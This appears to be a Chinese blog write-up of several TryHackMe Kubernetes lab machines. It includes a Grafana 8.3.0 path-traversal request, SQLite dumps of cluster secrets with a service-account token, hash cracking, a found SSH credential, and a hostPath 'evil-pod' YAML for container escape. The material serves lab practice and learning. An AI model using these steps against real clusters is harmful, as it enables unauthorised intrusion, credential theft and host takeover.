TryHackMe K8s 靶机 Writeup

之前西湖论剑线下遇到了一次 k8s, 因为当时完全没接触过所以吃了个亏 (

正好最近有点时间就借着 k8s 入坑了云原生安全, 顺带在 TryHackMe 上找了一些靶机练练手

中途重启了好几次机器, 还以为被我打崩了

后来发现 k8s api server 请求没几次自己就会卡退出来, 所以基本上不能用 kubectl 来操作了 (也可能是我没充钱的原因)

fscan

10.10.88.240:22 open
10.10.88.240:111 open
10.10.88.240:3000 open
10.10.88.240:5000 open
10.10.88.240:6443 open
[*] WebTitle: http://10.10.88.240:3000  code:302 len:29     title:None 跳转url: http://10.10.88.240:3000/login
[*] WebTitle: http://10.10.88.240:5000  code:200 len:887    title:Etch a Sketch
[*] WebTitle: http://10.10.88.240:6443  code:400 len:48     title:None

3000 端口 Grafana

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304121524459.png

8.3.0 任意文件读取

题目让你找账号密码

GET /public/plugins/text/#/../../../../../../../../../../etc/passwd HTTP/1.1
Host: 10.10.88.240:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: redirect_to=%2Fetc%2Fpasswd
Connection: close

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304121525856.png

我也不知道为啥要写在这里面

5000 端口, 全静态

http://10.10.144.223:5000/static/css/main.css

css 注释

/* @import url("https://pastebin.com/cPs69B0y"); */

OZQWO4TBNZ2A==== base32 解密后是 vagrant

然后通过 vagrant:hereiamatctf907 连进 ssh

ps aux

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  2.9  0.3 225268  1540 ?        Ss   05:58   0:24 /sbin/init
root         2  0.0  0.0      0     0 ?        S    05:58   0:00 [kthreadd]
root         4  0.0  0.0      0     0 ?        I<   05:58   0:00 [kworker/0:0H]
root         5  0.0  0.0      0     0 ?        R    05:58   0:00 [kworker/u30:0]
root         6  0.0  0.0      0     0 ?        I<   05:58   0:00 [mm_percpu_wq]
root         7  0.1  0.0      0     0 ?        S    05:58   0:01 [ksoftirqd/0]
root         8  0.0  0.0      0     0 ?        I    05:58   0:00 [rcu_sched]
root         9  0.0  0.0      0     0 ?        I    05:58   0:00 [rcu_bh]
root        10  0.0  0.0      0     0 ?        S    05:58   0:00 [migration/0]
root        11  0.0  0.0      0     0 ?        S    05:58   0:00 [watchdog/0]
root        12  0.0  0.0      0     0 ?        S    05:58   0:00 [cpuhp/0]
root        13  0.0  0.0      0     0 ?        S    05:58   0:00 [kdevtmpfs]
root        14  0.0  0.0      0     0 ?        I<   05:58   0:00 [netns]
root        15  0.0  0.0      0     0 ?        S    05:58   0:00 [rcu_tasks_kthre]
root        16  0.0  0.0      0     0 ?        S    05:58   0:00 [kauditd]
root        17  0.0  0.0      0     0 ?        S    05:58   0:00 [xenbus]
root        18  0.0  0.0      0     0 ?        S    05:58   0:00 [xenwatch]
root        20  0.0  0.0      0     0 ?        S    05:58   0:00 [khungtaskd]
root        21  0.0  0.0      0     0 ?        S    05:58   0:00 [oom_reaper]
root        22  0.0  0.0      0     0 ?        I<   05:58   0:00 [writeback]
root        23  0.0  0.0      0     0 ?        S    05:58   0:00 [kcompactd0]
root        24  0.0  0.0      0     0 ?        SN   05:58   0:00 [ksmd]
root        25  0.0  0.0      0     0 ?        I<   05:58   0:00 [crypto]
root        26  0.0  0.0      0     0 ?        I<   05:58   0:00 [kintegrityd]
root        27  0.0  0.0      0     0 ?        I<   05:58   0:00 [kblockd]
root        28  0.0  0.0      0     0 ?        I<   05:58   0:00 [ata_sff]
root        29  0.0  0.0      0     0 ?        I<   05:58   0:00 [md]
root        30  0.0  0.0      0     0 ?        I<   05:58   0:00 [edac-poller]
root        31  0.0  0.0      0     0 ?        I<   05:58   0:00 [devfreq_wq]
root        32  0.0  0.0      0     0 ?        I<   05:58   0:00 [watchdogd]
root        33  0.0  0.0      0     0 ?        I    05:58   0:00 [kworker/u30:1]
root        35  6.3  0.0      0     0 ?        R    05:58   0:51 [kswapd0]
root        36  0.0  0.0      0     0 ?        I<   05:58   0:00 [kworker/u31:0]
root        37  0.0  0.0      0     0 ?        S    05:58   0:00 [ecryptfs-kthrea]
root        79  0.0  0.0      0     0 ?        I<   05:58   0:00 [kthrotld]
root        80  0.0  0.0      0     0 ?        I<   05:58   0:00 [acpi_thermal_pm]
root        81  0.0  0.0      0     0 ?        S    05:58   0:00 [scsi_eh_0]
root        82  0.0  0.0      0     0 ?        I<   05:58   0:00 [scsi_tmf_0]
root        83  0.0  0.0      0     0 ?        S    05:58   0:00 [scsi_eh_1]
root        84  0.0  0.0      0     0 ?        I<   05:58   0:00 [scsi_tmf_1]
root        85  0.0  0.0      0     0 ?        I    05:58   0:00 [kworker/u30:2]
root        90  0.0  0.0      0     0 ?        I<   05:58   0:00 [ipv6_addrconf]
root        92  0.2  0.0      0     0 ?        I<   05:58   0:02 [kworker/0:1H]
root        98  0.1  0.0      0     0 ?        I    05:58   0:01 [kworker/0:2]
root       101  0.0  0.0      0     0 ?        I<   05:58   0:00 [kstrp]
root       118  0.0  0.0      0     0 ?        I<   05:58   0:00 [charger_manager]
root       179  0.0  0.0      0     0 ?        I<   05:58   0:00 [ttm_swap]
root       269  0.0  0.0      0     0 ?        I<   05:58   0:00 [raid5wq]
root       291  0.0  0.0      0     0 ?        I<   05:58   0:00 [kdmflush]
root       292  0.0  0.0      0     0 ?        I<   05:58   0:00 [bioset]
root       301  0.0  0.0      0     0 ?        I<   05:58   0:00 [kdmflush]
root       302  0.0  0.0      0     0 ?        I<   05:58   0:00 [bioset]
root       349  0.0  0.0      0     0 ?        S    05:58   0:00 [jbd2/dm-0-8]
root       350  0.0  0.0      0     0 ?        I<   05:58   0:00 [ext4-rsv-conver]
root       408  0.8  0.5 127640  2576 ?        D<s  05:59   0:06 /lib/systemd/systemd-journald
root       415  0.0  0.0      0     0 ?        I<   05:59   0:00 [iscsi_eh]
root       418  0.0  0.0      0     0 ?        I<   05:59   0:00 [rpciod]
root       419  0.0  0.0      0     0 ?        I<   05:59   0:00 [xprtiod]
root       420  0.0  0.0 105904    36 ?        Ss   05:59   0:00 /sbin/lvmetad -f
root       421  0.0  0.0      0     0 ?        I<   05:59   0:00 [ib-comp-wq]
root       422  0.0  0.0      0     0 ?        I<   05:59   0:00 [ib_mcast]
root       424  0.0  0.0      0     0 ?        I<   05:59   0:00 [ib_nl_sa_wq]
root       425  0.8  0.1  46244   668 ?        Ss   05:59   0:06 /lib/systemd/systemd-udevd
root       426  0.0  0.0      0     0 ?        I<   05:59   0:00 [rdma_cm]
systemd+   474  0.0  0.0  80044   424 ?        Ss   05:59   0:00 /lib/systemd/systemd-networkd
systemd+   500  0.0  0.1  70628   828 ?        Ss   05:59   0:00 /lib/systemd/systemd-resolved
root       501  0.0  0.1  47600   520 ?        Ss   05:59   0:00 /sbin/rpcbind -f -w
root       617  0.0  0.1  31320   716 ?        Ss   05:59   0:00 /usr/sbin/cron -f
syslog     621  0.1  0.0 267272   320 ?        Ssl  05:59   0:01 /usr/sbin/rsyslogd -n
root       624  0.0  0.1 287536   676 ?        Ssl  05:59   0:00 /usr/lib/accountsservice/accounts-daemon
root       627  0.0  0.5 1232044 2524 ?        Ssl  05:59   0:00 /usr/bin/amazon-ssm-agent
root       630  0.2  0.2 170440  1000 ?        Ssl  05:59   0:01 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root       636  0.0  0.2  70604  1436 ?        Ss   05:59   0:00 /lib/systemd/systemd-logind
root       637  0.0  0.0 161076   116 ?        Ssl  05:59   0:00 /usr/bin/lxcfs /var/lib/lxcfs/
daemon     645  0.0  0.0  28332   324 ?        Ss   05:59   0:00 /usr/sbin/atd -f
message+   646  0.1  0.1  50060   572 ?        Ss   05:59   0:01 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-
root       673  0.3  1.3 1277280 6596 ?        Ssl  05:59   0:02 /usr/bin/containerd
root       674  0.0  0.0  72296    76 ?        Ss   05:59   0:00 /usr/sbin/sshd -D
root       691  0.0  0.1  15956   520 ttyS0    Ss+  05:59   0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220
root       693  0.0  0.0  16180   212 tty1     Ss+  05:59   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root       698  0.0  0.2 291452  1052 ?        Ssl  05:59   0:00 /usr/lib/policykit-1/polkitd --no-debug
root       717  0.4  1.5 1244236 7572 ?        Sl   05:59   0:03 /usr/bin/ssm-agent-worker
root       759  0.7  2.7 1447128 13744 ?       Ssl  05:59   0:05 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root       999  0.0  0.0 1005440   12 ?        Sl   06:00   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.17.0.2 -containe
root      1004  0.0  0.0 1005440   16 ?        Sl   06:00   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 5000 -container-ip 172.17.0.2 -container-por
root      1020  0.0  0.0 1005440    0 ?        Sl   06:00   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.3 -containe
root      1024  0.0  0.0 1005440    0 ?        Sl   06:00   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.3 -container-por
root      1081  0.1  0.3 711444  1816 ?        Sl   06:00   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 54c2fca370f68b4fdb5d163e8835286c19c7515bb6afad2
root      1084  0.2  0.3 712852  1852 ?        Sl   06:00   0:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e7c06a854957fdc4f49e721a5e295c7acd2f89f218d214e
vagrant   1143  3.0  0.1  28532   620 pts/0    Ss+  06:00   0:21 python3 main.py
472       1148  2.1  2.6 786468 13036 pts/0    Ssl+ 06:00   0:15 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cf
vagrant   1395 25.5  1.0  30028  4972 pts/0    Sl+  06:02   2:31 /usr/local/bin/python3 /home/pyuser/main.py
kube-ap+  1404  2.0  1.7 725136  8652 ?        Sl   06:02   0:11 /var/lib/k0s/bin/kine --endpoint=sqlite:///var/lib/k0s/db/state.db?more=rwc&_journal=WAL&cache=share
root      1445  0.0  0.0      0     0 ?        I    06:04   0:00 [kworker/0:1]
root      1475  0.0  0.2 105684  1304 ?        Ss   06:06   0:00 sshd: vagrant [priv]
vagrant   1478  0.1  0.3  76776  1508 ?        Ss   06:07   0:00 /lib/systemd/systemd --user
vagrant   1479  0.0  0.0 259252   212 ?        S    06:07   0:00 (sd-pam)
vagrant   1548  0.1  0.1 107984   880 ?        D    06:07   0:00 sshd: vagrant@pts/0
vagrant   1549  0.0  0.3  21472  1692 pts/0    Ss   06:07   0:00 -bash
root      1568 20.4  4.3 785304 21448 ?        Ssl  06:08   0:51 /usr/local/bin/k0s controller --single=true
root      1574  0.0  0.3  67844  1664 pts/0    S    06:08   0:00 sudo bash
root      1576  0.0  0.4  21596  2084 pts/0    S    06:08   0:00 bash
root      1586  0.0  0.2 105688  1412 ?        Ss   06:08   0:00 sshd: vagrant [priv]
vagrant   1649  0.0  0.1 107988   940 ?        S    06:09   0:00 sshd: vagrant@pts/1
vagrant   1650  0.0  0.3  21472  1684 pts/1    Ss+  06:09   0:00 -bash
kube-ap+  1661  5.9  4.5 727108 22108 ?        Sl   06:09   0:10 /var/lib/k0s/bin/kine --endpoint=sqlite:///var/lib/k0s/db/state.db?more=rwc&_journal=WAL&cache=share
kube-ap+  1666 45.3 47.7 985804 234256 ?       Sl   06:09   1:19 /var/lib/k0s/bin/kube-apiserver --kubelet-certificate-authority=/var/lib/k0s/pki/ca.crt --requesthea
root      1672  0.1  0.4 105688  2080 ?        Ss   06:09   0:00 sshd: vagrant [priv]
vagrant   1741  0.0  0.4 108128  2028 ?        S    06:09   0:00 sshd: vagrant@notty
vagrant   1742  0.1  0.2  13060  1008 ?        Ss   06:09   0:00 /usr/lib/openssh/sftp-server
root      1781 36.0  0.6  39664  3268 pts/0    R+   06:12   0:00 ps aux

k0s (k8s 轻量版), kine (etcd), 还有 docker

因为一用 kubectl 就会卡死, 所以采取了把 etcd 数据库拖到本地然后分析的方式 (etcd 在默认配置下里面的数据是没有加密的)

数据库路径为 /var/lib/k0s/db/state.db

根据提示去 secrets 里面找内容

sqlite> select name,hex(value) from kine where name like '%/registry/secrets/default/%';
[{"name":"/registry/secrets/default/default-token-nhwb5","hex(value)":"6B3873000A0C0A02763112065365637265741289140ADD030A1364656661756C742D746F6B656E2D6E6877623512001A0764656661756C7422002A2461373463373535622D326463352D343032622D396261662D31353566376233626339636332003800420808D1BF9590061000622D0A226B756265726E657465732E696F2F736572766963652D6163636F756E742E6E616D65120764656661756C7462490A216B756265726E657465732E696F2F736572766963652D6163636F756E742E756964122431306434323731322D626337352D343966382D623233362D3364323162303430346638627A008A0187020A176B7562652D636F6E74726F6C6C65722D6D616E6167657212065570646174651A027631220808D1BF959006100032084669656C647356313AC9010AC6017B22663A64617461223A7B222E223A7B7D2C22663A63612E637274223A7B7D2C22663A6E616D657370616365223A7B7D2C22663A746F6B656E223A7B7D7D2C22663A6D65746164617461223A7B22663A616E6E6F746174696F6E73223A7B222E223A7B7D2C22663A6B756265726E657465732E696F2F736572766963652D6163636F756E742E6E616D65223A7B7D2C22663A6B756265726E657465732E696F2F736572766963652D6163636F756E742E756964223A7B7D7D7D2C22663A74797065223A7B7D7D420012DA080A0663612E63727412CF082D2D2D2D2D424547494E2043455254494649434154452D2D2D2D2D0A4D49494441444343416569674177494241674955634B6E6D6E4B67434F42356A2B354A587A4C6A323178762F665063774451594A4B6F5A496876634E4151454C0A42514177474445574D4251474131554541784D4E613356695A584A755A58526C6379316A59544165467730794D6A41794D5441784F4455774D4442614677307A0A4D6A41794D4467784F4455774D4442614D426778466A415542674E5642414D5444577431596D5679626D56305A584D7459324577676745694D413047435371470A53496233445145424151554141344942447741776767454B416F49424151437564677975376841413546456B445A49436B376773586E454178774E333436364F0A34337A745A2F56702F4952456272537357516D64384E4D6A577865654C316E4C6D5751414A474C396B30434A6C74586F6D6547564D38784B392F4B63516C65300A327A4A386C7A565767567077676F7139327263517857395067644345777951742F615152335477704B394E78346B7073334A46582B5772614C4F524C4D5A5A2B0A75692F6678507047792B536B53545849324A6379312F62374E43386847734D744134364C384C7A7436424451573353542F456E6B4F74674F6A2F4C32376463720A4E6737525869553861764D327739434B4A506E7A756F5934743757667459786D6658715646674168346B596F4E37327557646C53584E5671744A4A52764843760A36665A596D61492B6F796D6B546A2B2B415147486C634861674C4D5559796F4157556178714D3976744F474D54696C676331616A41674D424141476A516A42410A4D41344741315564447745422F77514541774942426A415042674E5648524D4241663845425441444151482F4D4230474131556444675157424252515A56725A0A784371555464304D4A6C756463476E482F714B4C4D44414E42676B71686B6947397730424151734641414F43415145416857534E746930312F31454864354B6C0A674359656C3269576F627A545756656C77334C71735838456E67544562696A503244546176456A475756734F3075596B764C7A7575376D4F66775832434C52750A663963785272647179346E484C71464A6451517032394C56617555786850714D7238317956314F5358533766745A4D62783064705A4A4B5A52757543316135450A784F653243576D4F3841326D563859716535797447344C73524A39656A796847784F6D5A36364C573070724F734E74616F6454427665664C585454656978356A0A496478646875636876327931546B6A674B367234667769392B396C6D51376730454430564432434C51636748507067705A624E753139355476456B74784D66760A39426D6F35704A575342394138334C593439543853654D325430753937757A46356F3767696C6C444678646F6C517734695146634B472B5353323977642F61520A71584F7968513D3D0A2D2D2D2D2D454E442043455254494649434154452D2D2D2D2D0A12140A096E616D657370616365120764656661756C74128E070A05746F6B656E12840765794A68624763694F694A53557A49314E694973496D74705A434936496A6C6F616E5A775A45683261317052546C5931546B317553486F33526E4A6E61457431616C453261324E434E476F774F57744E62306B745345306966512E65794A7063334D694F694A7264574A6C636D356C6447567A4C334E6C636E5A705932566859324E766457353049697769613356695A584A755A58526C637935706279397A5A584A3261574E6C59574E6A62335675644339755957316C63334268593255694F694A6B5A575A686457783049697769613356695A584A755A58526C637935706279397A5A584A3261574E6C59574E6A623356756443397A5A574E795A585175626D46745A534936496D526C5A6D463162485174644739725A573474626D6833596A55694C434A7264574A6C636D356C6447567A4C6D6C764C334E6C636E5A705932566859324E76645735304C334E6C636E5A705932557459574E6A62335675644335755957316C496A6F695A47566D5958567364434973496D7431596D5679626D56305A584D756157387663325679646D6C6A5A57466A59323931626E517663325679646D6C6A5A53316859324E76645735304C6E56705A434936496A45775A4451794E7A45794C574A6A4E7A55744E446C6D4F4331694D6A4D324C544E6B4D6A46694D4451774E47593459694973496E4E3159694936496E4E356333526C6254707A5A584A3261574E6C59574E6A623356756444706B5A575A68645778304F6D526C5A6D46316248516966512E6A5167366B2D4A4E364B77516277436C423748436F474642785579345A56314359627231357551376D36724F3065646A437446417A70756D6458504F32714F474B356F42484E6C6850527470364C49365464556C595A794D734E68667565635A6971414650766E6E517858447243672D534A5054365A424E45414D7136613949524C785F70706546534E636A554D47453335626E704361534633314E6C7A547A7377454448786B33727172572D575A6B564E687956797844613867756C696C66777A696B74556B6E626273377A777A334936766A53774C5F397065315F526B4C635241656A6172465F6A79557767566C65686442727A5A41447731353841714C72354936317A3062334F31455830353177766D554B714332574C7559314B5F6A717342336B61613967555977444B3457427979436E5770583853454F3469506C395042514E51794461676A556663464C574D53524D771A236B756265726E657465732E696F2F736572766963652D6163636F756E742D746F6B656E1A002200"},
{"name":"/registry/secrets/default/k8s.authentication","hex(value)":"6B3873000A0C0A027631120653656372657412E7010AB9010A126B38732E61757468656E7469636174696F6E12001A0764656661756C7422002A2434313665343738332D303361382D346639322D386539312D38636263343931626637323732003800420808BAC095900610007A008A015F0A0E6B75626563746C2D63726561746512065570646174651A027631220808BAC0959006100032084669656C647356313A2B0A297B22663A64617461223A7B222E223A7B7D2C22663A6964223A7B7D7D2C22663A74797065223A7B7D7D420012210A026964121B54484D7B7965735F74686572655F24735F6E6F5F2465637265747D1A064F70617175651A002200"}]

binascii.unhexlify() 转换

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304121656104.png

然后需要找到其它 pod

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304121704461.png

一般在 kube-system 里面的 pod 都是 k8s 自己的服务, 并且会有一段随机后缀, 但是这里的 kube-api 并没有随机后缀, 比较可疑

sqlite> select hex(value) from kine where name like '%/registry/pods/kube-system/kube-api%';
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https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304121659393.png

https://hub.docker.com/r/csaju/jokes

拉到本地分析一下

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304121701881.png

挨个 git show

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304121703977.png

最后需要找 interview 什么的

可以很容易发现一个名字叫 internship-job-5drbm 的 pod

sqlite> select hex(value) from kine where name like '%/registry/pods/internship/internship-job-5drbm%';
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https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304121708428.png

这个 pod 用的是 busybox 的镜像, 但是在创建容器的时候执行了 echo xxx 这一串指令

SHA1, 用 hashcat 跑一遍 rockyou

$ hashcat -m 100 -a 0 26c3d1c068e7e01599c3612447410b5e56c779f1 rockyou.txt --show
26c3d1c068e7e01599c3612447410b5e56c779f1:chidori

提交即可

开放端口 22,80

80 端口命令注入反弹 shell

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122107411.png

查看 env 拿到第一个 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122108812.png

因为是在容器里面, 所以需要自己上传 kubectl 才能与 api server 交互

$ ./kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:syringe" cannot list resource "pods" in API group "" in the namespace "default"

查看当前账户拥有的权限

./kubectl auth can-i --list

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122122487.png

查看 secrets 拿到第二个 flag

./kubectl get secrets
./kubectl get secrets secretflag -o json

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122124963.png

另外环境变量泄露了 Grafana 地址, 版本为 8.3.0-beta2 (8d74cc357)

顺手 frp 起个代理然后用 exp 读取 serviceaccount token

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122136499.png

查看该 serviceaccount 的权限

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122144479.png

*.* 表示该用户属于 cluster-admin

然后切换到 grafana 的 pod, 查看 env 拿到第三个 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122149545.png

最后, 因为已经有 kubectl cluster-admin 的权限了, 相当于可以接管整个集群

所以可以部署一个挂载宿主机目录的恶意 pod 来实现逃逸

不过需要注意这里的靶机是不出网的, 只能使用本地已有的镜像

先通过 kubectl --token $TOKEN describe node xxx 查看当前两个 pod 所使用的镜像

grafana/grafana-enterprise:8.3.0-beta2
syringe:latest

随便选一个, 然后编写 yaml, 添加 imagePullPolicy: IfNotPresent 表示优先拉取本地镜像

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - image: syringe:latest
    name: evil-container
    imagePullPolicy: IfNotPresent
    volumeMounts:
    - mountPath: /host
      name: evil-volume
  volumes:
  - name: evil-volume
    hostPath:
      path: /

部署 pod

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122203902.png

查看 root.txt 拿到第四个 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304122207021.png

fscan 全端口

10.10.96.95:22 open
10.10.96.95:10250 open
10.10.96.95:10259 open
10.10.96.95:10257 open
10.10.96.95:10255 open
10.10.96.95:16443 open
10.10.96.95:25000 open
10.10.96.95:30679 open

http://10.10.96.95:30679/ php 内置的服务器

/info.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304130846827.png

8.1.0-dev 存在官方后门

http://10.10.96.95:10255/pods kubelet 未授权

不过只能查看 pod

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304130847526.png

用的竟然是 vulhub 的镜像 (

之后蚁剑连接后门, 上传 kubectl 部署 pod 一把梭

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - image: vulhub/php:8.1-backdoor
    name: evil-container
    imagePullPolicy: IfNotPresent
    volumeMounts:
    - mountPath: /host
      name: evil-volume
  volumes:
  - name: evil-volume
    hostPath:
      path: /

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304130915758.png

rustscan

Open 10.10.18.57:22
Open 10.10.18.57:3000
Open 10.10.18.57:10255
Open 10.10.18.57:10257
Open 10.10.18.57:10250
Open 10.10.18.57:10259
Open 10.10.18.57:16443
Open 10.10.18.57:25000
Open 10.10.18.57:31337
Open 10.10.18.57:32000

http://10.10.18.57:10255/pods kubectl 未授权, 还是只能查看 pod

http://10.10.18.57:3000/ Rocket.Chat

http://10.10.18.57:31337/ bootstrap 网站, 目录扫描如下

[12:34:35] Starting:
[12:34:44] 200 -   50B  - /.git-credentials
[12:35:24] 403 -  555B  - /assets/
[12:35:25] 301 -  169B  - /assets  ->  http://10.10.18.57/assets/
[12:35:40] 301 -  169B  - /css  ->  http://10.10.18.57/css/
[12:36:45] 403 -  555B  - /vendor/

Task Completed

.git-credentials内容为 http://frank:<REDACTED>@192.168.100.50

ssh 直接就连进去了

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131247982.png

部署 pod 拿到 /root 目录下的 flag

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - image: localhost:32000/bsnginx
    name: evil-container
    imagePullPolicy: IfNotPresent
    volumeMounts:
    - mountPath: /host
      name: evil-volume
  volumes:
  - name: evil-volume
    hostPath:
      path: /

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131318040.png

靶机有点问题, 大概思路就是 lfi 读 serviceaccount, 然后通过暴露出来的 8443 端口请求 api server 读 secret 拿到 flag

rustscan

Open 10.10.54.69:22
Open 10.10.54.69:6443
Open 10.10.54.69:10250
Open 10.10.54.69:30180
Open 10.10.54.69:31112
Open 10.10.54.69:31111

31111 Gitea

30180 nginx, dirsearch 跑出来 /team 目录

右键源代码把 base64 保存下来转成 pdf, 然后用 john 跑一遍密码

pdf2john uninteresting_file.pdf > hash.txt
john --wordlist=rockyou.txt hash.txt
john --show hash.txt

Gitea 主页能看到用户列表

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131530074.png

用 pdf 中的密码登陆账号, 发现一个私有仓库 leeroy/jenkins

仓库有一个配置好的 webhook, 其中的 secret 就是第一个 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131531368.png

然后利用 Gitea 的 Git Hook 执行命令

参考: https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html

/root 目录下拿到第二个 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131539127.png

上传 kubectl 查看权限

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131542361.png

第三个 flag 藏在 kube-system 命令空间的 secrets 里面

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131617542.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131619316.png

部署 pod, 查看 /host/root 目录拿到第四个 flag

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - image: nginx
    name: evil-container
    imagePullPolicy: IfNotPresent
    volumeMounts:
    - mountPath: /host
      name: evil-volume
  volumes:
  - name: evil-volume
    hostPath:
      path: /

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202304131612201.png

靶机又打不开了…

看 writeup 感觉思路其实跟之前的差不多